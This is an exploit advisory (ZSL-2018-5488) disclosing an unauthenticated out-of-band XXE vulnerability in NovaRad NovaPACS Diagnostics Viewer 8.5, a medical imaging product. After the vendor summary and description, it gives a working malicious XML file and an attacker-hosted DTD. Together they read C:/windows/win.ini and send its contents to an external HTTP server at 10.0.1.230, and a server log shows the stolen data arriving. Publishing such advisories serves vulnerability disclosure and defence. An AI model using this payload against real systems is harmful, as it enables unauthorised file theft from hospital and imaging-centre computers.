NovaRad NovaPACS Diagnostics Viewer 8.5 File Disclosure

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NovaRad NovaPACS Diagnostics Viewer v8.5 OOB XXE File Disclosure  
  
  
Vendor: NovaRad Corporation  
Product web page: https://www.novarad.net  
Affected version: 8.5.19.75 (Diagnostics Viewer, Study Browser)  
  
Summary: NovaPACS revolutionary workflow infrastructure has been  
designed and developed using the expertise of radiology directors,  
technicians, PACS administrators for over 20 years. This wealth of  
imaging experience has lead to over 850 installations in more than  
15 countries as well as key partnerships throughout the imaging industry.  
Built as a completely scalable solution, NovaPACS can be used in  
imaging centers, or in a hospital environment as a part of a complete  
enterprise imaging strategy. Our feature-rich PACS system is entirely  
customizable. This allows optimization of each useras profile based  
on their unique needs and demands which, improves both speed and  
efficiency. The NovaPACS user interface can display reports, priors  
and patient histories right alongside the most current study.  
  
Desc: NovaPACS suffers from an unauthenticated XML External Entity  
(XXE) injection vulnerability using the DTD parameter entities technique  
resulting in disclosure and retrieval of arbitrary data from the affected  
node via out-of-band (OOB) channel attack. The vulnerability is triggered  
when importing XML format preferences within the settings submenu.  
  
Tested on: Microsoft Windows 7 Professional SP1 (EN)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5488  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5488.php  
  
  
28.08.2018  
  
--  
  
  
Malicious.xml:  
  
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE ZSL [  
<!ENTITY % remote SYSTEM "http://10.0.1.230:8080/xxe.xml">  
%remote;  
%root;  
%oob;]>  
  
  
Attacker's xxe.xml:  
  
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">  
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://10.0.1.230:8080/?%payload;'> ">  
  
  
Data retrieval:  
  
lqwrm@metalgear:~$ python -m SimpleHTTPServer 8080  
Serving HTTP on 0.0.0.0 port 8080 ...  
10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /xxe.xml HTTP/1.1" 200 -  
10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1%0D%0A[MCI%20Extensions.BAK]%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo%0D%0A[FIX%20DMACS]%0D%0AMinAfterStartup=0 HTTP/1.1" 200 -  
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